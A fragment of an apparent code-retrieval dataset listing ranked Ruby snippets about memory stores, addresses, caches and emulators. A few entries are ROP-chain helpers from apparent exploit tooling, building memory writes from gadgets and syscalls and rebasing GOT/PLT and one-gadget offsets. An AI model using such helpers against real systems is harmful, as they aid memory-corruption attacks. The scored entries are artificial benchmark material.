"text": "def store(address)\n check_address(address)\n value = Integer(yield(address))\n @storage[address]=value\n end",
"title": ""
}
] |
[
{
"docid": "e6d307428d906b5d62bbf7abd15b9914",
"score": "0.66018087",
"text": "def result=(value)\n target_address = @memory[@instruction_pointer + 3]\n @memory[target_address] = value\n end",
"title": ""
},
{
"docid": "7b37eaad78f25959235132ca78089d67",
"score": "0.6478848",
"text": "def store(ptr, val)\n if !@store.has_key?(ptr)\n raise \"Address #{ptr} was never allocated!\"\n end\n\n @store[ptr] = val\n end",
"title": ""
},
{
"docid": "30793fa95a88439126cc9d10c973bca3",
"score": "0.6262172",
"text": "def []= address, value\n @content[address] = value\n end",
"title": ""
},
{
"docid": "4357cb6e0b4703d07859e035fe9e22dd",
"score": "0.6169074",
"text": "def write(memory, address, process)\n memory[address, process.memory_blocks] = Concurrent::Array.new(process.memory_blocks, process.id)\n end",
"title": ""
},
{
"docid": "796945639c1f8a5aade7b39051636e23",
"score": "0.61309373",
"text": "def value=( val )\n data[ address ] = val\n end",
"title": ""
},
{
"docid": "3d3f5884ff906a64ee3534bb670a3322",
"score": "0.6005391",
"text": "def store(val, ptr)\n raise \"val must be a Value, got #{val.class.name}\" unless Value === val\n Instruction.from_ptr(C.build_store(self, val, ptr))\n end",
"title": ""
},
{
"docid": "9c9f107262247c0abc2c65a39d151e24",
"score": "0.6002751",
"text": "def write(address, data)\n tag, slot_num, block_offset = split_address(address)\n slot = @slots[slot_num.to_i(16)]\n hit_miss = hit_miss(slot, tag)\n if hit_miss == \"miss\"\n range = (tag + slot_num + \"0\").to_i(16)..(tag + slot_num + \"F\").to_i(16)\n write_to_slot(slot, tag, @main_memory.content[range])\n end\n slot.saved_blocks[block_offset.to_i(16)] = data\n slot.is_dirty = 1\n return hit_miss\n end",
"title": ""
},
{
"docid": "1d3b119d4e28f25af8adea532a8fd937",
"score": "0.59665483",
"text": "def push(value)\n @sp -= 1\n @emulator.memory.set(@sp, value)\n end",
"title": ""
},
{
"docid": "3997a260850beca47db7093c7f83cf16",
"score": "0.5958483",
"text": "def slot (number, address)\r\n @slots[number] = {:address => address, :size => @slot_size}\r\n end",
"title": ""
},
{
"docid": "62d3954329ecbf993f343411ff332cff",
"score": "0.5924603",
"text": "def store(name, value, offset=0)\n addr = pfa(name)\n @vm.store(addr + cells(offset), value)\n end",
"title": ""
},
{
"docid": "b121c9bb60b718b2f6ee47fad968113c",
"score": "0.59037477",
"text": "def read(address)\n tag, slot_num, block_offset = split_address(address)\n slot = @slots[slot_num.to_i(16)]\n hit_miss = hit_miss(slot, tag)\n if hit_miss == \"hit\"\n value = slot.saved_blocks[block_offset.to_i(16)]\n else\n value = @main_memory.content[address.to_i(16)]\n range = (tag + slot_num + \"0\").to_i(16)..(tag + slot_num + \"F\").to_i(16)\n write_to_slot(slot, tag, @main_memory.content[range])\n end\n return value, hit_miss\n end",
"title": ""
},
{
"docid": "b2671132c1bded77085cd87490c32a25",
"score": "0.5854624",
"text": "def []=( addr, val )\n range( addr ).value = val\n end",
"title": ""
},
{
"docid": "1ecb0f9cb0366b714d40862eed2a0444",
"score": "0.5845737",
"text": "def add(value)\n raise \"Bad things happen\" if @size == 10\n @storage[@size] = value\n @size += 1\n end",
"title": ""
},
{
"docid": "09000d1f813bd0b4542b0b49f649c5ca",
"score": "0.58310825",
"text": "def memory(arg=nil)\n set_or_return(:memory, arg, :kind_of => Integer)\n end",
"title": ""
},
{
"docid": "cedbdcdab9299c4f8f331bd295ea2992",
"score": "0.57682204",
"text": "def add(value)\n rause \"Bad Things\" if @size == @storage.length\n @storage[@size] = value\n @size += 1\n end",
"title": ""
},
{
"docid": "5875ed02f5b9c382307e7543d1c08420",
"score": "0.5638724",
"text": "def fetch_memory(address)\n # カートリッジのアドレス空間から取得\n if address < 0x8000\n @cartridge[address]\n elsif 0x8000 <= address && \n end\n end\n end",
"title": ""
},
{
"docid": "6a35489bc056761a05278d93da3cd218",
"score": "0.5627341",
"text": "def store(index, data) # :nodoc:\n raise RuntimeError, \"Attempt to access deallocated array\" if @length == 0\n raise TypeError, \"Invalid value type, must be Data, but got #{data.class}\" if ! data.kind_of?(Data)\n raise RangeError, \"Attempt to access out-of-bounds index in #{self.class}\" if index < 0 || @length <= index\n @__cache__[index].copy!(data)\n data\n end",
"title": ""
},
{
"docid": "ce206e2b83bd422e8c5a65a1615944ca",
"score": "0.5610627",
"text": "def memory=(value)\n FFI::Libvirt.virDomainSetMemory(self, value) == 0\n end",
"title": ""
},
{
"docid": "7a85b4822b7425d5d254e4704d01b175",
"score": "0.5587348",
"text": "def jump(x)\n @memory_position = x\n end",
"title": ""
},
{
"docid": "2c2337ecee60ece908a39c5065620552",
"score": "0.55816716",
"text": "def value(block_num = nil)\n \tv, _ = value_with_addr(block_num)\n \tv\n end",
"title": ""
},
{
"docid": "a59b366803ba762a8af629b8395ff3f6",
"score": "0.5575404",
"text": "def write( addr, val )\n row_idx, col_idx = address_to_indices( addr )\n ( row_idx - rows ).times { @data << [] }\n @data[ row_idx-1 ][ col_idx-1 ] = val\n calc_dimensions if row_idx > rows || col_idx > cols\n val\n end",
"title": ""
},
{
"docid": "db2dce909e98c8846f2847f09944683e",
"score": "0.5556781",
"text": "def mem=(p0) end",
"title": ""
},
{
"docid": "56c5654339963fe1d63a875fa82d882c",
"score": "0.5542771",
"text": "def store(val, ptr)\n ptr = Convert(ptr, :pointer)\n @builder.store(Convert(val, ptr.type.element_type), ptr)\n end",
"title": ""
},
{
"docid": "5e54dd6bb2bee3f4844bd4b97524ed8d",
"score": "0.5529854",
"text": "def put_val(val, addr)\n idx = rand(14) # 0~13\n set_reg(idx, addr)\n scall(:set_tid_address, val)\n scall(:prctl, PR_GET_TID_ADDRESS, Reg.new(idx))\nend",
"title": ""
},
{
"docid": "cd7ee4f53ca84360caace9b49c09d8e9",
"score": "0.5525308",
"text": "def store(val, at)\n flat(pop_rcx, at, pop_rdx, val, mov_prcx_rdx)\nend",
"title": ""
},
{
"docid": "608d21f4814bc23aae41df079311dad1",
"score": "0.5470195",
"text": "def address=(address)\n set_if_changed(:address, address.to_s) do\n invalidate_cache!\n end\n end",
"title": ""
},
{
"docid": "a223f9ef8d65c2689f566d886cc70aa9",
"score": "0.5423752",
"text": "def store(seq, name, value)\n store_internal(\"STORE\", seq, name, value)\n end",
"title": ""
},
{
"docid": "b0848e20e817246c6a0d3f1ba0febefe",
"score": "0.54212546",
"text": "def address=(address)\n @address = ensure_type(Address, address)\n end",
"title": ""
},
{
"docid": "638e982cfd6b216bce09c73b02ae8266",
"score": "0.5414282",
"text": "def clrmem(dest, size, value = 0)\r\n ns do\r\n if size\r\n ld bc, size - 1\r\n else\r\n dec bc\r\n end\r\n ld hl, dest if dest and dest != hl\r\n ld e, l\r\n ld d, h\r\n inc de\r\n ld [hl], value\r\n ldir\r\n end\r\n end",
"title": ""
},
{
"docid": "ac634baa6875e01dd2185f86814963db",
"score": "0.54036903",
"text": "def address=(addr)\n @address = check_address addr\n build_pack\n end",
"title": ""
},
{
"docid": "d325998862a500f4d6db26f14b52d80e",
"score": "0.5403196",
"text": "def value\n data[ address ]\n end",
"title": ""
},
{
"docid": "3b738991573fb50ee3e772a3ce80e17d",
"score": "0.5384608",
"text": "def address=(val)\n old = @address\n @address = val\n [@got, @plt, @symbols].compact.each do |tbl|\n tbl.each_pair { |k, _| tbl[k] += val - old }\n end\n @one_gadgets&.map! { |off| off + val - old }\n end",
"title": ""
},
{
"docid": "45151e30281c29c49e141e66d1727b6e",
"score": "0.5381747",
"text": "def address=(value)\n @address = value\n end",
"title": ""
},
{
"docid": "45151e30281c29c49e141e66d1727b6e",
"score": "0.5381747",
"text": "def address=(value)\n @address = value\n end",
"title": ""
},
{
"docid": "c078533ce9d59cb2757efa63ecb9a943",
"score": "0.5379951",
"text": "def with_address offset = 0\n @ec.with_ref(@reg, @base + (offset * size)) do |reg|\n yield reg\n end\n end",
"title": ""
},
{
"docid": "2c44483c86326d29e05847a252b5be1d",
"score": "0.5379225",
"text": "def address=(value)\n\t\t\t@address = value\n\t\tend",
"title": ""
},
{
"docid": "2c44483c86326d29e05847a252b5be1d",
"score": "0.5379225",
"text": "def address=(value)\n\t\t\t@address = value\n\t\tend",
"title": ""
},
{
"docid": "c109d4dd56353fe3498c28499ed0b4b4",
"score": "0.5368251",
"text": "def use(value)\r\n begin\r\n self.set(value)\r\n yield\r\n ensure\r\n self.restore\r\n end\r\n end",
"title": ""
},
{
"docid": "1d42fadec3a57fb098934c2738446513",
"score": "0.5311171",
"text": "def read_memory(address)\n # nes.memory.readWord(address)\n # Memory Manager readWord above\n # return read(address) | (read(address + 1) << 8);\n end",
"title": ""
},
{
"docid": "226baf38cce9ed5813480ed89a3cc548",
"score": "0.52861124",
"text": "def []= index, value\n if index.class != Fixnum or value.class != Array or\n index >= 2**(@mar.length) or index < 0 or value.length != @mdr.length\n\n raise ArgumentError.new \"wrong index and / or value given\"\n end\n\n @memory[index] = value\n end",
"title": ""
},
{
"docid": "d947c333a7db39426323f3732a5d8532",
"score": "0.5277694",
"text": "def value_with_addr(block_num = nil)\n\t\t\t\tblock_num ||= @auth_block\n \traise Mifare::Error, \"Not authenticated\" unless block_num\n\n\t\t\t\tvalue_ptr = FFI::MemoryPointer.new(:int32, 1)\n\t\t\t\taddr_ptr = FFI::MemoryPointer.new(:uchar, 1)\n\t\t\t\tres = Mifare.mifare_classic_read_value(@pointer, block_num, value_ptr, addr_ptr)\n raise Mifare::Error, \"Can't read value block 0x%02x\" % block_num if 0 != res\n\n\t\t\t\t[value_ptr.get_int32(0), addr_ptr.get_uchar(0)]\n end",
"title": ""
},
{
"docid": "3b320a3ad0ad9dd91381101fedfa900a",
"score": "0.52759314",
"text": "def write_s_pointer(value) \n @codegen.write_s_pointer(value)\n end",
"title": ""
},
{
"docid": "a50e8b4ccb8848c75d3a584115c154d3",
"score": "0.5268003",
"text": "def make_memory_addressable\n hash = {}\n @data.length.times do |index|\n key = HumanComputer::Processor.eight_bitify index\n hash[key] = @data[index]\n end\n @data = hash\n end",
"title": ""
},
{
"docid": "6acf058ee854f61bba29a8453b5dfcbb",
"score": "0.5242751",
"text": "def initialize(address, type=nil, size=nil)\n if address.respond_to? :address\n if address.respond_to? :memory\n @memory = address.memory || FFI.context.library.memory\n else\n @memory = FFI.context.library.memory\n end\n @address = address.address\n elsif address.respond_to?(:to_sym) || address.is_a?(Type) || address.is_a?(Class) # Allocation call\n type, count = address, type\n @memory = FFI.context.library.memory\n @address = FFI.context.malloc(FFI::Type[type].size * (count || 1)).address\n elsif address.respond_to? :to_ary\n @memory, @address = address.to_ary\n @size = size\n elsif address.respond_to? :to_int\n @memory = FFI.context.library.memory\n @address = address.to_int\n @size = size\n else\n raise TypeError, \"Address has an invalid type\"\n end\n @type = type ? FFI::Type[type] : FFI::Type[:uint8]\n end",
"title": ""
},
{
"docid": "7d428cbc0d112b63ebcf1b1479c15c05",
"score": "0.52059555",
"text": "def []=(index, value)\n %x{\n var size = #{self}.length;\n\n if (index < 0) {\n index += size;\n }\n\n return #{self}[index] = value;\n }\n end",
"title": ""
},
{
"docid": "a15da3d57c24899f6ef575596277c430",
"score": "0.519388",
"text": "def []=(i, v, options = {})\n # raise exception if an attempt is made to read memory that is out of bounds\n raise MemoryOutOfBounds if i > MEMORY_SIZE || i < 0\n # ignore memory rules if emulated hardware components need to write to\n # memory\n unless options[:hardware_operation]\n case i\n when UNMAP_BOOT_ROM_MEM_LOC # unmap the boot rom when 0xFF50 is wrtiten to in memory\n if v == 0x1 && @cartridge.is_a?(BootROM)\n @cartridge = @cartridge.cartridge\n end\n when 0xFF00\n @memory[i] = v | 0xF\n when 0xFF46 # DMA transfer\n dma_transfer v\n @memory[i] = v\n when 0xFF04 # reset divider register\n @memory[i] = 0\n when 0x0...0x8000 # ROM Bank 0 + n\n @cartridge[i] = v\n when 0x8000...0xA000 # Video RAM\n @memory[i] = v\n when 0xA000...0xC000 # RAM Bank\n @cartridge[i] = v\n when 0xC000...0xE000 # Internal RAM\n @memory[i] = v\n when 0xE000...0xFE00 # Internal RAM (Shadow)\n @memory[i - 0x2000] = v\n when 0xFE00..0xFFFF # Graphics (OAM), IO, Zero Page\n @memory[i] = v\n end\n else\n @memory[i] = v\n end\n end",
"title": ""
},
{
"docid": "100159d26b3fe71aaa7104b01e42c7ad",
"score": "0.5186921",
"text": "def set_floating_memory(address, value, floating_bit_pos)\n if floating_bit_pos.empty?\n @memory[address] = value\n return\n end\n\n bit_pos = floating_bit_pos[0]\n rest_bit_pos = floating_bit_pos[1..-1]\n set_floating_memory(address & (ALL_ONES - bit_pos), value, rest_bit_pos)\n set_floating_memory(address | bit_pos, value, rest_bit_pos)\n end",
"title": ""
},
{
"docid": "03abbe62cd513c84ca2399ad270457e6",
"score": "0.51836646",
"text": "def block_write_access(address, block_data = [], options = {})\n options = { write: true, # whether to write or read the block\n width: 32 # width default to 32 bits\n }.merge(options)\n block_data.each_index do |i|\n if i == 0 # first do single write access with count > 1\n single_write_access(address, block_data[0], options.merge(count: block_data.count))\n if options[:width] > 32\n reg(:rwd).write(block_data[i = i + 1])\n if options[:write]\n write_nexus_register(reg(:rwd), options)\n else\n read_nexus_register(reg(:rwd), options)\n end\n end\n else\n next if i.odd? && options[:width] > 32\n reg(:rwd).write(block_data[i])\n if options[:write]\n write_nexus_register(reg(:rwd), options)\n else\n read_nexus_register(reg(:rwd), options)\n end\n if options[:width] > 32\n reg(:rwd).write(block_data[i = i + 1])\n if options[:write]\n write_nexus_register(reg(:rwd), options)\n else\n read_nexus_register(reg(:rwd), options)\n end\n end\n end\n end\n end",
"title": ""
},
{
"docid": "4640281aed54ad58c1dd6eb67b03ab5b",
"score": "0.51787347",
"text": "def mem(*) end",
"title": ""
},
{
"docid": "39f35ad17a997aae7a0d8614cc4dcecc",
"score": "0.51589704",
"text": "def insert(value)\n store.push value\n swim(length)\n self\n end",
"title": ""
},
{
"docid": "0ba3adc1057ce15e0ce1d986f9c2167b",
"score": "0.51553416",
"text": "def load(ptr)\n if !@store.has_key?(ptr)\n raise \"Address #{ptr} was never allocated!\"\n end\n\n @store[ptr]\n end",
"title": ""
},
{
"docid": "b35c87a893a52e316c509b44a584d756",
"score": "0.514385",
"text": "def store identifier, object\n @storage.shift if @storage.size >= @size_limit\n @storage[identifier] = object\n end",
"title": ""
},
{
"docid": "9aec0a9c9a18c9af8640cb96de0c4955",
"score": "0.5142333",
"text": "def write_s_pointer(value) \n write_bytecode_to(S_POINTER, @temp_bytecode)\n write_4B_to(value, @temp_bytecode)\n end",
"title": ""
},
{
"docid": "37481fa124e385ebd2305f3a8b8d8eca",
"score": "0.5133042",
"text": "def value=(val)\n if(val.nil?)\n self[:length] = 0\n self[:value] = val\n elsif(val.is_a?(String))\n buff = FFI::MemoryPointer.from_string(val)\n self[:length] = val.length\n self[:value] = buff\n elsif(val.is_a?(Fixnum))\n buff = FFI::MemoryPointer.new :OM_uint32\n buff.write_int val\n self[:length] = FFI::type_size :OM_uint32\n self[:value] = buff\n else\n raise StandardError, \"Can't handle type #{val.class.name}\"\n end\n end",
"title": ""
},
{
"docid": "9fee18da07482e844b66593a8c483225",
"score": "0.512931",
"text": "def memory\n mem = @memory\n @memory = nil\n return mem\n end",
"title": ""
},
{
"docid": "2a56b282d28a36189db69e5a56e164af",
"score": "0.51168334",
"text": "def read_memory(addr, num_elements, options = {}, &block)\n check_alive! # this would set @pid\n options[:as] = block if block_given?\n MemoryIO.attach(@pid).read(addr, num_elements, **options)\n end",
"title": ""
},
{
"docid": "4943c564deda0f6c82c743dfeb64cc62",
"score": "0.5114666",
"text": "def TXS(address:)\n @stack_pointer = @x_register\n end",
"title": ""
},
{
"docid": "655fba673bd5d19d95fc2d7b96635ec0",
"score": "0.5106356",
"text": "def []=(offset, value)\n iterator = self.iterator\n iterator[offset] = value\n end",
"title": ""
},
{
"docid": "b1a9fa1480ad998be49addd743c19a91",
"score": "0.5105117",
"text": "def []=(index, value)\n\t\t@store[index] = value\n\tend",
"title": ""
},
{
"docid": "9e5b27b26095a4d255ee3e26d556f365",
"score": "0.51007146",
"text": "def initial_address(memory, process)\n initial_address = nil\n memory.each_with_index {|elem, index|\n next unless elem.nil?\n memory_slot = memory[index, process.memory_blocks]\n break if memory_slot.size < process.memory_blocks\n return index if memory_slot.all?(&:nil?)\n }\n initial_address\n end",
"title": ""
},
{
"docid": "9cb227bc118a81f27c6c1800ef869d08",
"score": "0.509305",
"text": "def INC(address:)\n @ram[address] = (@ram[address] + 0x01) & 0xff\n ZN_flags(@ram[address])\n end",
"title": ""
},
{
"docid": "23f39861df6b2b105ffd99ee30012716",
"score": "0.50696284",
"text": "def push(val)\n resize! if @length >= @store.length\n @store[@length] = val\n @length += 1\n val\n end",
"title": ""
},
{
"docid": "4249b6a65cbd8dae045d05a1017825f9",
"score": "0.5069249",
"text": "def []=(index,value)\n @values[index] = value\n if index >= @size\n @size = index+1\n end\n end",
"title": ""
},
{
"docid": "696ec94905368f016c75dd29bc033d4d",
"score": "0.5064509",
"text": "def expiry_address=(address)\n with_queue_control do |control|\n control.set_expiry_address(address)\n end\n\n expiry_address\n end",
"title": ""
},
{
"docid": "444c563df0656f2e3fb8aa4c1191e6b8",
"score": "0.5053122",
"text": "def register_memory\n @register_memory ||= Memory.new(256, \"Register Memory\")\n end",
"title": ""
},
{
"docid": "d91817f860e0eedb93592fa5106967cc",
"score": "0.50317025",
"text": "def test_memory_size\n assert_equal 1, SetVariableEval.new(@int_var, @int_lit).memory\n get = GetVariableEval.new(\"test2\")\n assert_equal 0, SetVariableEval.new(get, @int_lit).memory\n end",
"title": ""
},
{
"docid": "65337cf7ad6f1ce5dc6cd804fbc95a6a",
"score": "0.5026911",
"text": "def push(val)\n if @length >= @capacity\n resize!\n end\n idx = (@start_idx + @length) % @capacity\n @store[idx] = val\n @length += 1\n end",
"title": ""
},
{
"docid": "c04015dc5294b633edca989cdfd2c2de",
"score": "0.5015415",
"text": "def []=(loc, val)\n sequence[loc] = val\n end",
"title": ""
},
{
"docid": "c04015dc5294b633edca989cdfd2c2de",
"score": "0.5015415",
"text": "def []=(loc, val)\n sequence[loc] = val\n end",
"title": ""
},
{
"docid": "822fb2fae648a2645c11cf5c8def2820",
"score": "0.49960303",
"text": "def read(address)\n check_address(address)\n @storage[address]\n end",
"title": ""
},
{
"docid": "9e53ba42b9155b61b0d520ad037dadb7",
"score": "0.49841115",
"text": "def add_address_symbol(symbol, address)\n\n\t\t@mem_hash[symbol] = address\n\n\tend",
"title": ""
},
{
"docid": "9c4eb0f5e622dcb83252da447308d076",
"score": "0.49771017",
"text": "def prime_data(position:, value:)\n @intcode[position] = value\n end",
"title": ""
},
{
"docid": "1ba3ca5951e194262780ab9857729422",
"score": "0.49759755",
"text": "def value=(value)\n @block = nil\n @value = value\n end",
"title": ""
},
{
"docid": "3bf401c72d1246d3f2704d9e2ccc7b6f",
"score": "0.49752462",
"text": "def eval_memory_expression\n Assam.logger.debug \"Starting memory access...\"\n\n case ram_read\n when DIRECT\n # Direct memory reference, just read a memory address from RAM and\n # return it.\n value = ram_read(address_size)\n\n Assam.logger.debug \"Direct memory access. Read: #{value}\"\n return value\n when REGISTER\n # Register reference. Read the register code from memory, look it up in\n # the register table and return the value.\n register = register_codes[ram_read]\n\n if register.nil?\n raise \"Attempted to access a register that does not exist.\"\n else\n Assam.logger.debug \"Register value memory access. Read: #{register.value}\"\n return register.value\n end\n when EXPRESSION\n size = ram_read\n pc = MemoryLocation.from(registers[:eip])\n initial_pc = pc.read\n expression = []\n\n # Read the expression up until the size has been reached.\n until pc.read == (initial_pc + size)\n case ram_read\n when REGISTER\n expression << register_codes[ram_read].value\n when DIRECT\n expression << ram_read(address_size)\n when MEM_ADD\n expression << :+\n when MEM_SUB\n expression << :-\n when MEM_MUL\n expression << :*\n end\n end\n\n Assam.logger.debug \"Memory expression disassembled: #{expression}\"\n\n # We want to find if there's a multiplier and then group it with its\n # left and right operands so it gets evaluated in the correct\n # precedence.\n mul = expression.find_index :*\n\n # Messyish bit of code but all it does is turn something like:\n # [1, :+, 2, :*, 3]\n #\n # Into:\n #\n # [1, :+, 6]\n if mul\n # Grab the left and right sides of the expression.\n left = expression[mul - 1]\n right = expression[mul + 1]\n\n # Multiply them and insert them back into the expression.\n expression[(mul - 1)..(mul + 1)] = left * right\n end\n\n # Initialise the memory_location to the first value in expression.\n memory_location = expression.shift\n\n # Loop over the rest of the expression two elements at a time, modifying\n # the memory location appropriately as we go along.\n expression.each_slice(2) do |op, val|\n memory_location = memory_location.send(op, val)\n end\n\n Assam.logger.debug \"Calculated memory expression to refer to \" +\n \"0x#{memory_location.to_s(16)} which currently holds the value \" +\n \"0x#{ram[memory_location, 1]}\"\n return memory_location\n end\n end",
"title": ""
},
{
"docid": "6a637c28f67f6c91fd3ff3a5541f5b42",
"score": "0.49680835",
"text": "def set(address, value)\n before = @pgsql.exec('SELECT value FROM asset WHERE address = $1', [address])[0]\n raise \"Asset #{address} is absent\" if before.nil?\n before = before['value'].to_i\n @pgsql.exec('UPDATE asset SET value = $1, updated = NOW() WHERE address = $2', [value, address])\n @log.info(\"Bitcoin balance of #{address} reset from #{before} to #{value}\")\n end",
"title": ""
},
{
"docid": "213b0f1303b44174cf7eff99b69833dc",
"score": "0.4962048",
"text": "def store *args, █ put *args, █ end",
"title": ""
},
{
"docid": "b92b09d851629763be07437cfe165891",
"score": "0.49521238",
"text": "def memadr; RAtlas::memadr(@storage);end",
"title": ""
},
{
"docid": "7f4b21d7e5fc862340f3bc4bffc633ae",
"score": "0.4940425",
"text": "def store_word(loc,out_register,offset)\n\t#Get Location in memory.\n\tlocation = (offset+REGISTERS[loc])/4\n\tsetnum = getSet(location).to_i(2)\n\ttag = getTag(location).to_i(2)\n\t#Hit Block 1?\tIf Hit: UPDATE CACHE\n\tif((CACHE[setnum.to_i][0]).tag == tag && (CACHE[setnum.to_i][0]).valid == 1)\n\t\t(CACHE[setnum.to_i][0]).data = REGISTERS[out_register]\n\t\tprint \"hit\\n\"\n\t#Hit Block 2?\tIf Hit: UPDATE CACHE\n\telsif((CACHE[setnum.to_i][1]).tag == tag && (CACHE[setnum.to_i][0]).valid == 1)\n\t\t(CACHE[setnum.to_i][1]).data = REGISTERS[out_register]\n\t\tprint \"hit\\n\"\t\t\n\telse\n\t\t#If Miss:UPDATE MEMORY\n\t\tprint \"miss\\n\"\n\t\t#Store register value in memory.\n\t\tMAIN_MEMORY[location] = REGISTERS[out_register]\n\tend\nend",
"title": ""
},
{
"docid": "5bd2737e62b87fe5975ca2b94cc2c74b",
"score": "0.4904126",
"text": "def []=(index, value)\n raise ArgumentError, \"index must be < #{size}\" if index >= size\n mask = 1 << index\n @number = value && value != 0 ? number | mask : number & ~mask\n end",
"title": ""
},
{
"docid": "4a7cdbb09813b0f502aeaa5c25995a87",
"score": "0.48888484",
"text": "def alloc(var_entry)\n if @deallocated.any?\n addr = @deallocated.first\n @deallocated.shift\n else\n addr = @local_counter\n @local_counter += 1\n end\n var_entry.set_addr addr\n @memory[var_entry.name] = var_entry\n var_entry\n end",
"title": ""
},
{
"docid": "d339b3a47ed277648e9054a5cf3c8678",
"score": "0.48655272",
"text": "def init_value(value, addr = nil, block_num = nil)\n \tblock_num ||= @auth_block\n \traise Mifare::Error, \"Not authenticated\" unless block_num\n\n \taddr ||= 0\n\n\t\t\t\tres = Mifare.mifare_classic_init_value(@pointer, block_num, value, addr)\n raise Mifare::Error, \"Can't init value block 0x%02x\" % block_num if 0 != res\n end",
"title": ""
},
{
"docid": "da366d11450db57121c69392a1ee2464",
"score": "0.48637918",
"text": "def consume(num)\n @loc += num\n end",
"title": ""
},
{
"docid": "52c2e60352c65f5b33179db9bd7e4d18",
"score": "0.48546213",
"text": "def jump(address)\n @pc = address\n end",
"title": ""
},
{
"docid": "594565b16b0e52d6e217cc58022cee6c",
"score": "0.48494393",
"text": "def generate(size = @@default_size, rng = @@default_rng)\n @block.call(size, rng)\n end",
"title": ""
},
{
"docid": "fe28fa49f2bd6935a4a852a7fc27bea2",
"score": "0.48458576",
"text": "def execute_block_argument(number, &block)\n # procs can be stored in variables\n block_store = block\n # uses the call method to run the proc\n block_store.call number\nend",
"title": ""
},
{
"docid": "b4094ac587ec6ea609711641e6088ed9",
"score": "0.48282802",
"text": "def add(val)\n @heap.push_and_get(val)\n end",
"title": ""
},
{
"docid": "5263794c1ebd9f0385727d7c61fe5f3f",
"score": "0.48279485",
"text": "def to_mem( source , from )\n reg_to_slot = Risc.reg_to_slot(source , from , register, index)\n compiler.add_code(reg_to_slot) if compiler\n reg_to_slot.register\n end",
"title": ""
},
{
"docid": "15545769aea456a6a1983dbaa2fa887b",
"score": "0.48184296",
"text": "def write(val)\n @writer.call(@address, val)\n end",
"title": ""
},
{
"docid": "c1c82f1ff58f57d156d229c204b25035",
"score": "0.48161146",
"text": "def +(offset)\n to_alloc + offset\n end",
"title": ""
},
{
"docid": "9d1c17d338d593c7d1045b48170f3247",
"score": "0.48106474",
"text": "def <<(value)\n self.yield value\n\n self\n end",
"title": ""
},
{
"docid": "397af2ae99a79a16cc7ace9b80475521",
"score": "0.4807176",
"text": "def set_memory\n @memory = Memory.find(params[:id])\n end",
"title": ""
},
{
"docid": "397af2ae99a79a16cc7ace9b80475521",
"score": "0.4807176",
"text": "def set_memory\n @memory = Memory.find(params[:id])\n end",
"title": ""
},
{
"docid": "397af2ae99a79a16cc7ace9b80475521",
"score": "0.4807176",
"text": "def set_memory\n @memory = Memory.find(params[:id])\n end",
"title": ""
},
{
"docid": "397af2ae99a79a16cc7ace9b80475521",
"score": "0.4807176",
"text": "def set_memory\n @memory = Memory.find(params[:id])\n end",
"title": ""
},
{
"docid": "397af2ae99a79a16cc7ace9b80475521",
"score": "0.4807176",
"text": "def set_memory\n @memory = Memory.find(params[:id])\n end",
"title": ""
},
{
"docid": "397af2ae99a79a16cc7ace9b80475521",
"score": "0.4807176",
"text": "def set_memory\n @memory = Memory.find(params[:id])\n end",
"title": ""
},
{
"docid": "397af2ae99a79a16cc7ace9b80475521",
"score": "0.4807176",
"text": "def set_memory\n @memory = Memory.find(params[:id])\n end",
"title": ""
},
{
"docid": "6f4126fb4708c66c3c19165da5d8ab0b",
"score": "0.48066804",
"text": "def method_missing(m, *args, &block)\n @memory_store.send(m, *args, &block)\n end",
"title": ""
},
{
"docid": "d15c8708ce7e9e5e3cb148427639c8bd",
"score": "0.48027757",
"text": "def memory_zero(start_addr,char4_size)\n log(\"memory_zero\")\n log_int(start_addr)\n log_int(char4_size)\n\n $memory_zero_addr = start_addr\n $memory_zero_addr /= 4\n $memory_zero_end_addr = $memory_zero_addr\n $memory_zero_end_addr += char4_size\n\n loop do\n break if $memory_zero_addr >= $memory_zero_end_addr\n $0[ $memory_zero_addr ] = 0\n $memory_zero_addr += 1\n end\n end",
"title": ""
},
{
"docid": "7ec6a7c11bfdf8e46f8921491d3d6918",
"score": "0.4800152",
"text": "def []=(key, value)\n @lock.synchronize { @store[key] = value }\n end",
"title": ""
}
] |
023017c92a8afd8929438ff380974db7
|
I really hope all these unassigned fibers are gc'd
|
[
{
"docid": "e3d94e7241c842bd8c229cd180ff6728",
"score": "0.0",
"text": "def build_cog(&teeth)\n @cog = Fiber.new do |arg_hash|\n Fiber.yield\n loop do\n case out = teeth.call(arg_hash)\n when :reinit\n @args = @reinit_args.dup\n build_cog(&teeth)\n break\n when :complete\n destroy_fiber\n break\n else Fiber.yield out\n end\n end\n end\n @cog.resume(@args)\n end",
"title": ""
}
] |
[
{
"docid": "6cac67de4ca3a4f14786db438180a6ae",
"score": "0.6252751",
"text": "def run_gc; end",
"title": ""
},
{
"docid": "aed041e4c4ead52930fb72e57047ae17",
"score": "0.62479013",
"text": "def garbage_collect\n end",
"title": ""
},
{
"docid": "504dda61ca0dd5ea0deb2ffe8a93a16d",
"score": "0.6190871",
"text": "def free_gc (*args)\n free_gc!(*args).abandon\n end",
"title": ""
},
{
"docid": "762470b3920df54c6f5854607de9f960",
"score": "0.6183123",
"text": "def clean_the_house()\n #Thread.new do\n # # TODO: the memory leak seems to occur on this line!\n # swap_out_faulty_nodes\n # swap_out_unresponsive_targets\n #end\n end",
"title": ""
},
{
"docid": "732dd065db565c315eb53f008fb68bd5",
"score": "0.61646324",
"text": "def garbage_collect\r\n end",
"title": ""
},
{
"docid": "86eb6919d03c2b98c75576a246fb4980",
"score": "0.61216927",
"text": "def undefine\n\t\t@pool.undefine\n\t\t@pool.free\n\tend",
"title": ""
},
{
"docid": "491716682b51a255e1d51f140e633838",
"score": "0.60704046",
"text": "def invalidate!\n @valid = false\n release_all_fibers!\n invalidate_proxies!\n ensure\n # Not strictly necessary. But let's help the GC out.\n @policy = nil\n @loom = nil\n @scheduler = nil\n @proxies = nil\n @cache = nil\n end",
"title": ""
},
{
"docid": "e7f0c94124fdbf9ca5ec2efb39e25003",
"score": "0.6041898",
"text": "def gc\n @lock.synchronize do\n @table.each do |id, ref|\n @table.delete id unless ref.weakref_alive?\n end\n end\n end",
"title": ""
},
{
"docid": "6f193ec0163569d15a6c02dcc792fe63",
"score": "0.5976508",
"text": "def prune_pool; end",
"title": ""
},
{
"docid": "27d4e9cdfc9b3753af8809671f65d5e1",
"score": "0.59465915",
"text": "def initialize()\n refill(5)\n end",
"title": ""
},
{
"docid": "9d7bef6d82dd86587a2d081b9868d044",
"score": "0.59042466",
"text": "def gc\n @mutex.synchronize do\n @mailboxes.each do |id, ref|\n @mailboxes.delete id unless ref.weakref_alive?\n end\n end\n end",
"title": ""
},
{
"docid": "a689f807efde0a1f266ef9292934cade",
"score": "0.59028447",
